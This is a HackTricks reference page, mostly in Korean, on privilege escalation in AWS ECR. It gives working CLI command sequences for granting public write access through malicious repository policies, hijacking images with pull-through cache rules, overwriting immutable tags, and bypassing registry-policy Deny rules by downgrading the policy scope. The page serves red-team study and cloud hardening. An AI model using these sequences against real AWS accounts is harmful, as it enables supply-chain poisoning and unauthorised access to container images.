AWS - ECR Privesc

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

공격자는 ecr:GetAuthorizationTokenecr:BatchGetImage 권한으로 ECR에 로그인하여 이미지를 다운로드할 수 있습니다.

For more info on how to download images:

AWS - ECR Post Exploitation

Potential Impact: 트래픽에서 민감한 정보를 가로채어 간접적인 privesc를 초래할 수 있습니다.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

이 모든 권한을 가진 공격자는 ECR에 로그인하여 이미지를 업로드할 수 있습니다. 이는 해당 이미지가 사용되는 다른 환경에서 권한 상승에 이용될 수 있습니다.

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

이전 섹션과 동일하지만 공개 리포지토리에 해당합니다.

ecr:SetRepositoryPolicy

이 권한을 가진 공격자는 리포지토리 정책을 변경하여 자신(또는 모든 사용자)에게 읽기/쓰기 접근을 부여할 수 있습니다.
예를 들어, 아래 예제에서는 모든 사용자에게 읽기 접근이 허용되어 있습니다.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json의 내용:

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

이전 섹션과 같지만 공개 리포지토리용입니다.
공격자는 ECR Public 리포지토리의 리포지토리 정책을 수정하여 승인되지 않은 공개 접근을 허용하거나 권한을 상승시킬 수 있습니다.

bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

잠재적 영향: ECR Public 리포지토리에 무단 공개 접근이 허용되어 누구나 이미지를 push, pull 또는 삭제할 수 있습니다.

ecr:PutRegistryPolicy

이 권한을 가진 공격자는 레지스트리 정책변경하여 자신 또는 자신의 계정(또는 모든 사용자)에게 읽기/쓰기 액세스를 부여할 수 있습니다.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

공격자가 제어하는 upstream 네임스페이스를 신뢰된 private ECR 접두사로 매핑하기 위해 ECR Pull Through Cache (PTC) 규칙을 악용합니다. 이렇게 하면 private ECR에 이미지를 푸시하지 않아도 private ECR에서 이미지를 당겨오는 워크로드가 투명하게 공격자 이미지를 받게 됩니다.

  • Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
  • Tested upstream: public.ecr.aws

Steps (example):

  1. Prepare attacker image in ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

  2. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.

ecr:PutImageTagMutability

이 권한을 악용하여 tag immutability가 설정된 리포지토리를 mutable로 전환하고 trusted 태그(예: latest, stable, prod)를 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.

  • Required perms: ecr:PutImageTagMutability plus push capabilities (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.

Steps (example):

mutability를 토글하여 immutable 태그를 오염시키기
bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod

글로벌 레지스트리 hijack via ROOT Pull-Through Cache rule

특수한 ecrRepositoryPrefix=ROOT를 사용해 Pull-Through Cache (PTC) 규칙을 생성하여 private ECR 레지스트리의 루트를 upstream public registry(예: ECR Public)에 매핑합니다. private 레지스트리에 존재하지 않는 리포지토리에 대한 모든 pull은 투명하게 upstream에서 제공되며, private ECR에 이미지를 push하지 않고도 supply-chain hijacking을 가능하게 합니다.

  • 필요 권한: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • 영향: <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>로의 pull이 성공하며 upstream에서 소싱된 private 리포지토리가 자동 생성됩니다.

참고: ROOT 규칙의 경우 --upstream-repository-prefix를 생략하세요. 이를 제공하면 validation error가 발생합니다.

데모 (us-east-1, upstream public.ecr.aws)
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true

ecr:PutAccountSetting (레지스트리 정책의 Deny를 우회하기 위해 REGISTRY_POLICY_SCOPE를 다운그레이드)

ecr:PutAccountSetting을(를) 악용하여 레지스트리 정책 스코프를 V2(모든 ECR 액션에 적용되는 정책)에서 V1(CreateRepository, ReplicateImage, BatchImportUpstreamImage에만 적용되는 정책)으로 전환합니다. 제한적인 레지스트리 정책의 Deny가 CreatePullThroughCacheRule 같은 액션을 차단하는 경우, V1로 다운그레이드하면 해당 강제 적용이 제거되어 identity‑policy의 Allows가 적용됩니다.

  • 필요 권한: ecr:PutAccountSetting, ecr:PutRegistryPolicy, ecr:GetRegistryPolicy, ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule.
  • 영향: 레지스트리 정책의 Deny로 이전에 차단되었던 ECR 작업(예: PTC rules)을 스코프를 일시적으로 V1로 설정해 수행할 수 있음.

Steps (example):

CreatePullThroughCacheRule에 대한 레지스트리 정책 Deny를 `V1`로 전환하여 우회
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기